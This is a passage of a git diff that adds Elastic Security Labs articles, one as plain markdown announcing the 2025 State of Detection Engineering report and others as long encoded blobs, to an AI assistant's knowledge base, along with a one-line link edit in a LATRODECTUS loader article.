[ICEDID](https://www.elastic.co/security-labs/unpacking-icedid) dropping off, we are seeing new loaders such as [PIKABOT](https://www.elastic.co/security-labs/pikabot-i-choose-you) and [LATRODECTUS](https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111) have emerged as possible replacements. +With major changes in the loader space during the past year, such as the [QBOT](https://www.elastic.co/security-labs/qbot-malware-analysis) takedown and [ICEDID](https://www.elastic.co/security-labs/unpacking-icedid) dropping off, we are seeing new loaders such as [PIKABOT](https://www.elastic.co/security-labs/pikabot-i-choose-you) and LATRODECTUS have emerged as possible replacements. ## LATRODECTUS analysis diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/state_of_detection_engineering_at_elastic_2025.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/state_of_detection_engineering_at_elastic_2025.encoded.md new file mode 100644 index 0000000000000..617117c99b436 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/state_of_detection_engineering_at_elastic_2025.encoded.md @@ -0,0 +1 @@ +592a3b67a8145248b50877c08173a663e372e628dd29e7dc87a9df366e00c2e4f5fc3b87e47b63fed58dca7df9bf6d614da843a02ec96ffa4ff4d15890ea5395df9e55ef087e7d31ef849433df993790a6923e166f75d4f2e87148eead88aa0c9758ef1ac397aad197e94d842d3e7510f9a44c12dea6eb659a48492d01641a71b0c6dee89749eb04ebcbfd6775f67561dca37fc96a6681c376319a3720a065c844db50277e509c7fd8eba6aa896e61379f94ce690060e43aaf38fc36e6163409212615308e20b0bafd02dbc73031562c4cfcc268404cde811b89403721ed9bcccd556fef37f85710516f0364b91dcb48e725c1e6f62bef581ed957d7f326e93cf04ba406bc99872d89a319672112fa1c07f66ca076d235c9cd724267478187edc90400982a42420011dcf5a1b5ac382b6dc349810cffd7188f60395764e2af752a833ea307e914cdb3e8c4e181d38c371b9f5d175187f78f0bb2c9f3effe1029911303046c4750f65d79f5dbc883c6ac7d2767374a2723006725b5027252a4a5c1816b98794b4fb105533f0173e58736bdcb6ad573c78a156e62a6a7495ad7ccc49b75f6f89bbbdcdd4a6a0d7912e1c7b2997973543e44101c6fb5eafdfc31d55173482742491d8b9d3c9e2176d839ae4d18263b346720559652d382816e8a33e1dfc50f77d1e2cf4bc6b2be73d3853519f27b66f4e755ba0b4870aac8e8ee8a471dbbbee9e13f2fe84ea14c23201e5f446359fa6b9d692a944b731400f4aac308822149091ffa234ca46d928f4d7b8135a7ba4fb9c00bb8603f13667d259c7317df6c03cbafd057668eabd00df1250665f4e6751e12e2c5fbe1731e8141c70cb2b1d18496415eb26667b8b3ea104ce3f75ca7c81c43c8c69586d22611217d20cf38b97503a5a55aea3c15592209c61339e36e3336cf55b647079c7f29c4b00e88c0fab48563867874184c6198f09b509732509827f6f3e58123676ea313ee90081072e7c62c43c883a5b9a442ba6b4e4a1e8a8e4865a6874e9dd08d247dc18f6f9f743e4e4efb32d64ac2b9be1191efca82cf51c34d6642f57ff2111a9dbaa28a8ee6b3eeea3960380cac83d91122242e1a106bd1bf52a956a1262a095b527ac94a20faf1af23657114047b2be99480c1002aaacc310f8a67590ac9fef1abb097fc32aefd197ab7eb27d7eec00cea7b349fc562a668bfb1257909e9b4c0592551e0a329485006bdbab0de154134813a24aec1a3ecff10a5c465369135c0519875893e98ce4f023698b55e8182327a2246f72a3d161986322239bfb88b2276cc8e911893f47973c4440b30668164b7a2bc991d81bb864bcbe55888749a61bb32bfa085035cd60dcf7c7e8234a7b2300313de93967399d6a8ccfd123c411c5f3e1775268466a59e7d0e35bef7b5f6b4e1fa8bc846d24394f99ec85ce06c67c30d320b31035e28f55156d4c5e430298f9892ded0bbc626aa1f78c86f785d7c357a8f34c86f0bb3d9d1483a778da76aae14f0625063e404ff5779b3d6bf1cf2d414bb24d139fe882c9f418ddab6e435cb8075b640b28071cfcf62dec3a44ee3ffc60f35d4703fd7a15c2ac5e75cc5ca594c8a142299f21888a65c6c0d0f2a7c0fd93c686fb8a0cdb1d2072a7a5ee77186e6df8f1ef0a53f4c4f7c18f8732c30ba3796ff2f51a7925807d7ec29f985b029f006bb7a84071c781143aa879c4061030a37af264fdd6c64ae4176442a9b2d162986d43b9e0b9c9a71e679b627b3078c2497863c564e08e6607082cb27f4ff37992bd1c3e4f0ef24bf0244558a7d065ebd6a219bb20c72ed3a4bc4d832d6b58a7240d34005208f757934abfe761cbda66e2fa1e4e95f82dd099373e12c442b3dc4b5d234d30526df07e7aa281a25a13d9d43313c38e85fc57b7b78686fd58b3ab60b39ee3314e32d6dba8cbd3e6b7a747a40361324f5bc27be2c46972bac3787e85a7b6443c0344863c28257d7916c367e3c342bb166d4e37cd2fcf7354c9990027f3e65ae744b96dacfc1946c661e1bf6bfe2493ade035d73d18232e83a645a3b787390dcd84e6d89e08cdcf2bb6d54f4de46111d70aaa684b8cf76aa85f7941f8c9f3b5c9f29c7100aca97de0f0d12d40dcb3e3722d63645968dacf9923e024f93a01fc27146fe6233455255a920360833b4d0863bde56edefabce84f83ea936982faafdfdb11362701c06f51f67cf71f2121f41237ad9875756e550cd065a2819a793f198e88f474e21ebff25139aef8805a934679f8c523fd04fb2092a5b51e6d1ee322b55c9c10d55b17ec6596645fdc34b0bf115139ba623b9885c2ce1cb6d9762258f1465ed6a45ff392f006cf3623e15edcd1b1e968dfc6884661d5bf1f37cfa24e2c1827677e0938af9c23a1543d876ee047b8b89a7e98de547186bd36f3e501365a49eb2b3a94242130050917cb7290dad00741f85d351d30486fddcf274ca8c89750d0f897c483131dbdcda3f1847d9e8d62bfc840f76fe17ff26c95b5338ba3088ee2d541b41462324396d1fe21266b1a7481f12dec00251a2761b2c0493d5cd0684d1e29909e703d3f08c451b9a58eb4aacb6abfbf55dcac23a942498ca2fa8423605e66c800254d8c2203acaf774520780a5092a51e73d9ec18e63d60b8408948d4cb6c33628b4d40d2d9c16da6d0cc2376f09f32eab461a9724c608fd5c6068ede1cbe57419ea3d7186db384f888ff4df28db5454190fa78236b461c4df5213b56d9ebd507525b162a69d820db2d97af769358978cbc8656529f4653867ccbb791aa460b3f48e5350b7636a014b7cebb81e745e6f55bf30933ad104063db071af54ec964b0b2a68711a251a6dd10f1ef12e57fa86d3ffcd0e39cc26bed41a536a5af37af70f3ea9688bcc9ad346e8050ae836f8e5130735470299fbbe76293b4517c8cdc292465c441b9e2cab9bc8a2b41430f4882c51c880c0e03345e33c4d8f4ebe072c8aba1ebac5f1d6d5653532d632c31cba8b02f3dc3967f7dad88a6ab86beccd7b73d88775ce6bc651e2e5c38669702d9820d45208f3fcf0c16b42f724e41e4d41bb2a04be6ba3ef41207e693c4f41f9bbae4ed748c26250c73676f30fd90593b445de16a4906f3d241700cf5c3f444f56ee5bf581f86ba7966aa0aad247ff0ddc49f6f106d78c82bedfeadd06888ab82121c84f9fc1202165b06ae31b53df37c2c3546ac78271a4dd6ee8ffa6581f5c72f797b3dc5d0ac6ca20ffbd4963ec09e6819cb0567f2429930895870a596589712164c455b83f39c5d2ac3fe887dbaa5d4908e049403196022537818eeb400827a2a7882403104473306f62715891c54e913c82d13482599bdf258a55e6cb9cbe75a4b47fb4992a9f37e919a1c32d067fcf2e0a04a7787dccc228d9a0dffc976f4a171cbd0bab57a1829be3e61085363cf141cbb13accb9d4aa3ab97561b9a3174df1d1f9267d9a602a6479bf8dbfba90cd0b26bc982da04bcdabd9566c9f05b352f9d7187b0310ee086e9fcab5d3358004ced933d8a391c7c5439956e37a1bcfeba7b7f5e572d9de2d07664f552a1fa47326893a2930964767cadbda5fffc414c1cf2dea2a85e499717177e673f3a5911a0047b9c0595d1f333dead591d79bd4725642af78ea9821d00bb474d6fd8651f0c867ebb5d1b7fc0505bda5b20f8e5e56f5199a0f3479131b044817846a7080392f559df9c1d0d3671e1d40fe23b1e8885b07320083f10809f31122b49ca85705ac28d5d73765df2739a6cbd9d2b5165e56bc90eee54ef3de509dc19918fa7943f267243b788dccc197321bb07cf107bf7b5d3999f3773e88c2913c29d265e889f17bff9405e9583f880624c643e8d68261871c44995983223f829880e479c666cf956c836fc2c3a4e0167b837d93bc371d08cca34a0d02985aa5aef8cd759fc68036b0e1e5f642b92e72d5accfc34e25ed8cfa9487a5c696130556443d946ee06e107a0d6aff4aaf7bb0eedf021b54a48225ea248d98cf6098b631aaf86576d2cc2d0440e88e2c3ea69bbe3988bebec20fd349af05598da145475bb8a1de4c36fa0190e7441e75c860380540cda2460bb037fa81d04d8ac31c40dac0b32fa300c3b70d50b0f8d5b9feff3a0a69c3b097acfd0965ef9dbd7ff7a89e35b138bbd4bfabeda2a88b5808ed32245ed533b601b646a4af1d7162a772cc01d6dcbe9c2eb26bb01c1da95fd8a268dec55fe3b149c155d0fe928fc0fb7becb2c5ebca656298ec863c50ca170384be49594fbe120893aee92b86aa78a94dc1bfea64695d03ec60a2233d49c7cb6bc45cac393cb5e595e4635481b089d9482df61e91b046a805c1ab3dd8d8a1dc35bd50e905ebd10f7cd33c2b5daf8ae026cc735a7e49bc925bfbdd28b563553555e2837ce80d25cb80dc04fd665148955ad97f06d393fbf144349c0405a5945f58472ee14e5867e90545abde73bdea95af5973d08fa960ece825c79753c6cb6f5fde501be64af0aa4ed521ba07216d3f558c449d47d9c83051d0592f46338ca0d063ab5d35c2ac7ce7ee5fb8106e54a79693446f370efd276c97f51edc79005c453e6e24710e88d3e4549baf60b3ea9a92906d61badebb405f01d29d30209bbf24a0b5727f0066dba1bd539233c4ca97f98913f7fc9a8cad81df8f9e0d2de88c62d60739e223dfa62393af108a7e2b64ecba85aed9a0abf78e837af1e874e4ebceaa11d3569a445637bd91c8bf754ce5f6c115b82295f407af0efe91e979973cce6c8de153e4f6c329eda1da8705b67f35afd494f715a22a97af4c14edb2c4e0e13d8540e5feb2728774b26b3ce24b607a1ca63372b11376018113404819dff567b9ec6aa0e3db3c6db024e8c9f02109f56ed8bf0c620c57ac9b7a82481e13b4e0fb7b7f0e5dce45868853204cb7a1edd112d19d59b5a42e933e7d5c0173a8052aeba208b97e1a59c4777e76fafb9e35ef9d520a6771371996f4878094e5de9041f69bba5bea1b18d068f970c4bdc80241619516bb18771aad6d54cc24b80cd17cf038829c9c5942598f308185d339c649661f1bfd2e2946aceac4699f98933605113aee755eeef990462c4430ab2efe9d8eb60a8b0ccbb2c2dd40d08bd33359db0f6087735e557633d736cabb268ffc12b8f2486088f42d9f2db2be17011bb4c1872f7d043aa5d70720341cd5e5065b0df65eedb338f5331872e045bb2459e4affc6602f6ab6511b4b01b0626f373c65872bc53e0a942ec820a85bd4777652659cb7995bdece327f21f2a16ac0ba7c865e561e0732fdeeea74229804fcd47932693d62dc57aef446ce1bcffb133d32288ea163a91c0ea7cef2e0ce3bfe2493ade035d73d18232e83a645a3b6c36979a229a7a6c18e58fe8152b600e1762b991dda6e470b6117974185d6c78eebc849a6fa30e390c62dc65cdd054f82859ad3d16b642566462a6f8d740a30bd10912a9aa4e583aee2885e6e051ec7b9642ac5848f350b0fc2badb764ff804af37cfa24e2c1827677e0938af9c23a1543d876ee047b8b89a7e98de547186bd32fda221d07b08f106f3292a709b06f8d5b8ece18e0ac81e686a3690f1f60f30e58a52ad9457ed6b8cec6e7345f676d474192164ccd48c495fcbbb267eb1ba6bfd51425ebc863fb295c7d8b6d003c0db096c536beac00fee8d6c4ef41f04a177d28599d038de5c568fc8978596cd711cf0f3d462cda8c1aee31f65b41a0320f7f \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/state_of_detection_engineering_at_elastic_2025.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/state_of_detection_engineering_at_elastic_2025.md new file mode 100644 index 0000000000000..616670522d9dc --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/state_of_detection_engineering_at_elastic_2025.md @@ -0,0 +1,34 @@ +--- +title: "Now available: the 2025 State of Detection Engineering at Elastic" +slug: "state-of-detection-engineering-at-elastic-2025" +date: "2025-04-24" +description: "The 2025 State of Detection Engineering at Elastic explores how we create, maintain, and assess our SIEM and EDR rulesets." +author: + - slug: isai-anthony + - slug: mika-ayenson +image: "header.png" +category: + - slug: detection-science +--- + +We’ve been working hard at Elastic Security Labs! We've just published a brand new report: [**the 2025 State of Detection Engineering at Elastic**](https://www.elastic.co/resources/security/report/state-of-detection-engineering-at-elastic). This report gives readers an exclusive look into the work of developing and maintaining our pre-built [SIEM Detection](https://elastic.github.io/detection-rules-explorer/) rules and [Endpoint Protection Behavior](https://github.com/elastic/protections-artifacts/tree/main/behavior) rulesets. + +In this report, you'll get an inside look at how we work to keep our users protected and gain valuable insights into the world of detection engineering, like: + +* How we analyze real-world threats, like the CUPS vulnerability and Windows Local Privilege Escalation. +* Our robust rule development strategies, including automation and the [Detection Engineering Behavioral Maturity Model (DEBMM)](https://www.elastic.co/security-labs/elastic-releases-debmm). +* Enhancements to [Elastic Security](https://www.elastic.co/security) through integration enrichments with AWS, Okta, and more. +* Our internal metrics and evaluation processes for ensuring rule effectiveness. +* Our partnership with the [Elastic Global Threat Report](https://www.elastic.co/resources/security/report/global-threat-report) and our future plans, including AI threat detection. + +This report represents a full year of our detection engineering efforts, from October 2023 to October 2024. We chose this timeframe to capture our work following the 2023 Elastic Global Threat Report and gather enough data to identify meaningful patterns. + +We collected and analyzed all the contextual data of an entire year’s worth of detection engineering efforts to build out the story of what we do and how we do it. Including Security Labs threat research publications, GitHub metadata from activity across our rules repos, alert telemetry, and operational metric data are used to both guide and assess our detection engineering efforts. We also conducted a series of interview-style conversations with the threat researchers, detection engineers, and developers behind the data. We wanted to dive-deep into the specifics and garner the details of the processes behind the outputs (detection rules, threat research articles, etc.) that our customers see. Then we put these details together to create a cohesive story that might benefit the larger community. + +We’re pulling back the curtain on our detection engineering practices, going beyond the traditional survey-style State of Detection Engineering report. By revealing this information — information that security tool creators often keep private — we aim to demonstrate our commitment to our users and reinforce the fact that you are not alone in your security journey. We’re right here with you, every step of the way. + +## The discussion continues + +Elastic Security Labs is dedicated to providing in-depth research to the security community — whether you’re an Elastic customer or not. By sharing the details of how we manage and leverage the Elastic Security solution, we hope to spark a broader conversation around detection engineering and encourage the community to hold our work accountable. If you’re interested in a broader look at the report, you can check out the [blog on Elastic](https://www.elastic.co/blog/state-of-detection-engineering-at-elastic-2025). + +[Download the free report](https://www.elastic.co/resources/security/report/state-of-detection-engineering-at-elastic), and [join the conversation](https://x.com/elasticseclabs)! \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.encoded.md index feb0c723fe7a7..3ca2d29c291af 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/streamlining_esql_query_and_rule_validation.encoded.md @@ -1 +1 @@ -1afdc2d18a5b56701101c24d47c932f5c028204900a70016b2b32fc1db839a7d27f30482635db13ac2975e899cb1f2429e11e37459c61da1b436f00fcee4a7c1b9f3bfaab06e72d3c4e9ef28039201a312fe3efcacdde4afa5964b40af14dcb0fcbc1fee8ab86f7959ef7e21d1bc8e07f0c1a7ebb9270956e84fdff20c53df7cab2ae3830f00fe171dbf1097960ee44eeda45ceb007127e6522e7ad1bb0af4221f29e07dd4189deced07efc93477dc7ab5f6e85b94a6636f28c3cda4af6aa5ab863f7bfe02b99fa2d3ea7d46368c4dd2c90c65f441804fa04d9fbe54a86a4d7925612df8f5f29b33e028857215a54a8a2c6fdaa476e7edb95d57c5c87248fc78babe8a0992ec55482ce39c9084189e94ccd5bcb500863b3ec111817692f5eec0a03c0216f9c9172a19a116c0915627f92b3cc3d0aa2767ce6c1db61683b3910fda4f15e5a82d73db0cd91c59517889e46d626bcf078ede4d51c38bdad867f61df10569c5e3b569de6b57015eb196bd2f8462c91b7620ec67f076c9bf9a5a4dd6555033e8ae85861c55b7f0ae730a676ee81b8ccc4de125f25ac08f571f6606e80f9a79f966380352f0497d0fa4108815df08f948f52ac304d45f9f97334536451735415cb9d8b04b46ff0609bce9bb77b2be4fa3baf2727b95824344b85e1187151126c0629a11de32484cdbe65d9b31cdacd04b380e617368b5ddb2570838df47070c572a9d25c8e3978ad4f669b402bdbfd127e03eb5104929f68a100141eaf37cfa24e2c1827677e0938af9c23a159586ecbb32c0f57924e7fcfde4a87b60b94e816f514b2eea5bab9ca954c6bacddf2dd080a9da9a8f4bec215b598dcfe5920f2acb1d160c3f5bfb0d1005a1aa39c4217bc568c84911fce2251f9b2fa31388c9acdd7d7fceb2a97a6a9139eb86418786bde0618ad062983e73d1f1618b1e724baad7bf764fc2a775f9ec84cf32554930ac0ab1c77ce8a9502173a080dabd906a619960bed455e882688304dadb34bdd7612feff6a9407c4cd65ae7d9d809e47d37d98b02b6ad787b84b955b319a55febf4cdc97f9125abb15ef1d18068c230004c706ec3060b01366e2a874efc96fbb041f06c6504daa818ffaca4dd0daa88d93d4507e3d9b2b8dc2508617441c51f39d5a9c71d127c732c1a77dde8b9543be2cd0dd78da08f42179cd16d2f9a7ce7c4abcd8a6cae1920e236a00196ab6b16271a72d5afc975377dbb054012e04c81effc4e19bd066d68be3c60b2de74aab70afe3466b49ccab39222755675debd4f1d67b5c7dee3202611306c79cb8de333a4db0aafd61674eb5a71475ab233c607c3136b3cc93d46587457d83bc730fa18809dedda2b9587a1364232e0366dfd1dd45af45df17a0dfd24634d3e955e4713aa25a670d83c33b2ca77ccc76c12d38b66d2aebb35a8a3cb3b958a35e007394a7639c45d5dc1a5f5bbfb7ba04ab057f8fa2e89abb01c734cdfbb8f617dc80658467101e1219f3749650953ed88b891d20bd928fc1f917a025e1be825c6588492c2fc122b617b104946232852217bb27a10aada9191b01a727e36019c47fe25d27c5125f9003b7883e5aa8caa49228515d062a084118ceba44cef1e5a93a08d22be9659d1cfe1bc7a6c8f504780cac29596c6050eb5f58dd8fe5706f109964b4ba952ce2269f1fac456702da1ceedc481805387bca891d0142b91f9aeb7e77bf202da2780d6dcaf6dbec0a74274cf928f2fa3f63c1bd7eb8035a72e4c8e717c0ee6c150c8d4eef48e9f9af3f7bc74b3f624245498ad02a12c1663970003f1d0cc83111dce1e7a2e4d566fc3ab0de58b41f72eba0d0ca36407c46de3133b2e122fd4e46146c5ab98adfd06de7cd154fc17dbdd5ce750012eec7d8e64fe51cc7d822d5489ecd42d2459f874ededdb1d25cf16105988ddee21a9548f3d729308989dac16b081e560f85aa095ca246d99db041f5a941fc2296a87a22b0fe93639d8924ba45b877396b2c11ac3ca47df2406c75921822152f186b598bd7eb828e501f180cee33d34e7d00c410f5495f9f84cf29e9c3d303bfc723bd5582ca5546285c999199e88df70a9ef981a5bc8b63cb3119854aae71d226977786e2c2ed37b6cf55933f449c60f3bd3f5be9bd91dc8c927b38d38515e9267ffcfc8ca96023cb5fa3fe91e8ae20beb6d3705089ae40bc9140ca57a29a0ba611a5686e9809eb12ce21559909088eedc747398b894ac21e400cdd4c12415bb0cd0cfff244bbdab14bdf27a0bc18b848600c681b8dfaf6ab68f5d72bb82d33e77d28cd29b23bc238900e1c61b359228fbb20ed84f50d1f694da9ec8fb95afd136abdc2150ba1ead7933eb1891a678b12aeb6d9721b08f548b57410f432427d0b2cebc7c63b6546b82bf7af88146f42a92c61fa11b0a057e935b43ba1d6bc84964356f215444f762be9e8a51e9718e2d8ae1667c192e7c11cee3826c50b9ca9719cbc11ed1b54e9d7643313c38e85fc57b7b78686fd58b3ab664f2c1c1ba23b431ce903f4c9bf854ad791d4f090c3b5833fc5f8bae64082dc6e28b1e501e009e73df5599be0d3d4cf13f9c41d2f52e4864d998379df3978bfef3ec7ce04007340d8770ecee2805023cb4605193dfc7a12ca970911e8a917c2a6afd180c78c6dcc31518f4a62332491343313c38e85fc57b7b78686fd58b3ab65ad1ef11cf1f4df88262540189b65efd27e0a5376b3e28686669561504dfc5a5a33128f301b895c229d6ec39d6e1bb4460c39213efead0dc336be30f5372274461c1246baf0c951148dcadf462b6ce9b98ab2913f219d432cb0e82dee6e48adce0ccc3cf4d0e435aa1d218d26da4ca60be678bb91a8be4dc41c00779dfbf7511d4000250dd33cb42e2bc57d6369d279dc5c8b5d4268141a151f737b8e9e6609ec0c99cde0e7c901750226e6864164ac3c06c50b7e52a0d32524c641497e2d3b9d726e0b9224c929f47ba2d37b8aece5ae7b534e9aa1c5a67292155d18eaebe2233937b9f4bde84aa95479d4bbf27769819cb1b1981ab920dc3843bf2af8b5305283d10e2e01d2f9a0c523ece44581507aedbe22c32da01f8cab632e63407aeda742e312ea3aa13a739db1929b851517545db3a3d9248b85cf97952e51c5ee943c077f2d4047f5a87e4ccea84f5cb55d274200ea6a34556b95b8ba56a67804272555ac415af68bf8199599c20ab8cc69afc3305818ce37123e248c9d5fa40cb69afc42e5ee987f90c7d8bc7419f818008aec801b4aecfb084cd01c472f25cadf8afb98dc29b93a7719247f347c1ba12a9c364eee945332083197df9e1c6ae39ba86f45ebe576a3a03438907a5ec3baa31b5a8982f9fe35da36bde89e8af75edeba071c6b1d11f589d3df10217271a5e8385e3cefe988f3d30993dcb7c6552b400474c91a4c6608a9928f32e32dde8c58b98e0184dde2eb09b039e02c31364caa36a4b7a51babf84f10bac0b54b978ac58e68250a46d73f6fdf1295265ba92fb32e0c56bda830a0f31bb27ae2ab0a2e26bd8cfd653a93c1e0a7297277f8b621ad9be678bb91a8be4dc41c00779dfbf7511d0098271a52633a62199bcacea4026371dabb9b0ef1df8d7cfed956478f63a37d8d7672068708ab3c9dd6da7fbd68fdd62cd97cc97b41a0a329f113aaf5a55ef68c82f217e30eb0c6767cdca2c43ac6cd96742dabf51eb608bb19616b6df25836520679c1c31be7c08dd67be5f609a0d8a964865d92750e284a4f06fbae8638bd084233b424c1f4e70563ddf3d12ca7e7a0d3372ea825542c28ee97f4c7e7711e5577e5c895e64d829d7f70753a5f44e06e72b45b887f51a0ef92c601f802ed04af71fc39fd8b40d3801deb026079ba2166db974ac23002e9c42e0adbde214194e4062f26065d9050d9ae021ccfdaed7654ae45e4bc1a596cdd10d2cff3f3c6394748df2c800b873cee9267259b621f9aed01b1f91d6e28e2480a18ec02fd67a7828d0a8cfa1a5529bf7e4c3c5d32e36c30d735cf546f2a55e53f011a7c483ec63c12b19cc00fb9ec864c4a07803decf640a419533ba58392f23b61363339421e052968c27800094625ca59fee7c303808e43dd146aac8711adc01bd4d08e79ce9057a2058da6921f70a98c12e70f3be5e2635cb724668a5278ddfd8d8130cdb10c483b9e111209375b83813c0a74d7ba6a8e2f48646e959715dba04486aec3a5d09933ed590cc17bad669aea18cf04c8c2d26e213eda4742688939afd1943c7616254f5cbe616fdea621c2a9ebf1d2035ac82986b91c795c669f7a7e96a3974dc0b965611af24979a66806a211fcfeac7e8cf2fb922ed16009097226acfb843c513165c486ca961a8654de6888f5a6e7e60c49f8c72a83251d945bf18a4cc140be32feb785b02b1383db39f0d1452ee60cfea647f49bec0051b74cb3e63a8b4aa6ae2b239056a3c224c1d0dde55a0c244593aa78c1148520ddd1e05407ffcb3b57b1af442e648da636eac879b29d06e3b4a4c648100a6ff3b374d1b100facb87a2b7cc1cdc9365ef0f866cfb20aa6b8d98ba5d4a139a16ffe4dfcfb59bc91d4bc3059699c6203b72c6610aa703deda07e5233f6fd2b528cd3ddfa310db522ce4c9416615e8b207ebb5219dbed363f479a7b2645469952a76a63fa45210df0cc036cb44082c5176743c6548b99a148016f47c4f3e00e311e662bf66b744085227201c369cd570a506ba5f88def0805d9fc85abf916ac8196834a9ab0a47a9a5fa2faab83a208890752fc61c227cf8bae21ddb0789970a7ea94f04119d147ce5e8fb45e9f98c395d05639ae07f03992184549781a3c80795419054108936482474caaa4de6778907e159d1e610e7434b4138567c32f1729f675e073087bbadd49e5b7fe61499c74a7db71fcced97526d3bf2346419202c972964113856c97a69aa97c1b8bb8e4d858fc11810200cafbe5a0fc6b374a4e69434b130ef694d1d26a6516c79e369189a2a9ae32a869ae31f712cd5e19e485b82c9380360268318f20414768110524e4ab27454403faad7b6b6a6a1067bbe316f952b987957c9ea91820fafae1390020ed8b2b4fc05bca2a51dabbafbafa4cfd85fc9b30878f0534a3330e1ecaeb525e62a3eaf771f6363b7618ed76be63c5e2884ea3bd8a66f05517d77f2ae3ff0df3cfde3688046fd1639497ec22787f6c898ddf98d129353413c587104962f701e64c421df8e1a819b3fa73ff85655119033404ae3ed3dd6f420538c3dd776b986202ae483d26ff30192a7e9ad0751ac8e109a834fda22f6773d6f4c82d115afeb51c5d9a5ab40ccd217d94de5c82cd6a31785c2151d6ea75a3915f8bb4856a01fd38bdf885c1cabb8d605dfab65f4ff648158d5e8df9facda22c35d258ede6b69f2a325243a30e8024aa4d3e392c3f7aa17353902ac234216b2b45bd8dc22bc3f1011460e43177a03d4fb91673a97bee579c354942360f62bb0be18e83123e921e36abf316d5ee078a17424a94a20c0360e9a40bfd15ef9c11877ea4bbe8a1c18c6d2b066776179508de766e695727dc236c38863307b36a41f2d014f0edb6511b9e4bc5391e1b69b88027a0e629ad6fb9d079d7c5f2d1751e2cd069b11fe53801502b50c2017224585914a7b7b583b6af2e2f53ae9d330a3b9f48841dc072d5f3adb6ed79fb44f54fc2ed3dde3063673902814ed0497495ca1c224629f9da8810cefc8fa857aab8f5def237fbcd93d086e9590ddeff18bb43647d331ad1df120167bae8a1c729bf2189dfce74fafb0236a95de839aedd416dddb4b3e091931d67ebcc7c1d8d1e07c656508c25ef80767e313e9bfa5063f3d02a1f6ed30b8d9ecc6c101ba612f3e18dd8b7cdccbb8e0dbc23165324cf152194f5299dd5491f4a3d0410855f0da5000de4b4461b663f77ac5ffc9b7a401aaf126851065e58827c0ab20187c0f61351f8936ac5fa55b9c12003275003033f847f8d4247d66190a610ff60824f183e2c919f43f3cc6df7f9de53c53203a6e049c3643ed9268a7e71e05fb6c8df11653c3872b879b85f6c29a4327c16dfecd71ea349ceb3b7bc579cfbe574ba1ba6704e52618a904c8f8fdaa7ea37f67b64f29b4508dd51d47f55cd6b9e3f8c2f9d61444a765828503f6ae26a13c2817fad7dcff9fbf99e3a01ec7f5fd348263624a31434a9edcc7e9a61d10a0ca25de42a242a4ef44c4d7612ef3f15b391be15f5087332f92d1ca72577189baa7b51de736be41f4b35279f0176bc8852bedde978aa09a28274eb5a64918dbf8e8683a09dde5853b5151fb7b16f1f7570e8ecc50fa8d51fae9f1423c9308eb54ca342f7154b18e5bf4f6f30a38ec4ed5f3eecbc6c77a7ff702dc7114fb72066ac1608c8e0c3c062c572f127c4578a1ae9d456a31035828c27e8d39f78821ce00f1f27db5d7770b6b1241092b4e7d4ab1e49dabb786ebd1f659911efbe1f781068cdd424767afcf98196824a2798f96a87020a7d0a33f9dff87951b1d0825927882ea73c9bdf6caea17c209fb926d2889005f62deb8a1cea043d3e1a8b1d89553087b862a845cfb5e1121858d4f869a93522b4b3058a8175f8dc48435c23884f5426179ea18aa7da4e97f1fc0a00f4f381610c994c03db706b11e08a8758d259f3c701516740fe8d969b3148d30bcc4ac55ed853070b18cf3bbdfaeace619a7f7b22e69e5eb9f08a39cf059c8f274bbbf194281ae41da46af69813980c709b262d1a81261db2bb1f101b2c0b12c92481c12ab22db38660eaa8714a530f66d30cad4a3bced4d584326477e9da007d4e421655357054fd434a5d22010247537ac20fa824660539a22f796cc73be90f0cfde5ff6a8e00362580ea694d555aaf95958d56ab0366f9dc6dd318aba315f7dc534086616a386cae54cd8ae31263313262cc7ae67a11dcf39ff9bbbac0fd5f46647f852c3a574df9152030209b12e75b957c195bdb26928328b17633f23baf481e0161408f49884571b442eeaaa7606fa726ad60aa566b827cf6004cebcdcff7286c7f450b52358597d5a849fca745719fb83a39db7f31ebf2f3594063d623212f1403443d3a2ef7a999bc4a877819ebf1126a540539f6e817c65bfd41c25331727660cc25cbeb1d0479eda5d0b8bed27460975b7647b026744c8914a83b4915a03efbe614219ebd9beb891c6d69ed1f09bb240b1ed8f5925c799af046edb3e410630a21a6cbb86a11a9dd0e60401788753ac2aabc8ba239d78bf0389e54ba3de126ebf7874bd37afcf6c846397e04ae117bd72f932433e82449742c7bf5f1d5c7414864ced50a3410c5335c38b9a7fdee68e5fd209e4c47a7b10cf354bf5e5063d6479771339ad36c093db50bc9d271af903f779b4a1ca03c27e98632ad6f9b0cf073e25ca7c70bb00bad5972aba1b978ae0c825da3d465be69b216ba305485ca0b37e28e27d1abbac8615a013d187d75f2d1f578ebdf41261f4d4de9e778ba826ad3c1aeabde03126e6cd53e7d98183c51c8a5f7a255d4de8581d592e0c82ab54888a14ce78f191f08637d3dda61e4fd7e75fd6001122f2505a4580c531c732242e69801bc6aaf2ea1d55e882440a7d6f2bc92fe0dd56367c4e4846b97bab15528eabda8d3a2e60b27e4d21004b0f04d7de463668027f2b5dfabb061cec0e078b915f7c00fea26536a7246f51df063213881e70a237e30cf7742c8b01c942ea2b45bd69ccf14f643f600467978ae904c7eead74a61cda1f3f01e2b78cf1f33d7cd6db46644a82945f676cbcc20516c00c8f51cea9c74dcf264abca2f9580fecd2361363ccae7d37091fe63cce38dd10ce95bf319a57b6d348dbb85917f538568a67be6fcc94dcbeceb177c8959d123daaf5d9b17fc7133d2625ba2eeea66f7441865d94fb6df85f28207951ac596b966fc2257897036387b8a6cd53e7d98183c51c8a5f7a255d4de8581d592e0c82ab54888a14ce78f191f08637d3dda61e4fd7e75fd6001122f2505a4580c531c732242e69801bc6aaf2ea1d74a9fed0f6d346c27fe573b09d33c41e69700f9a816317e7241f2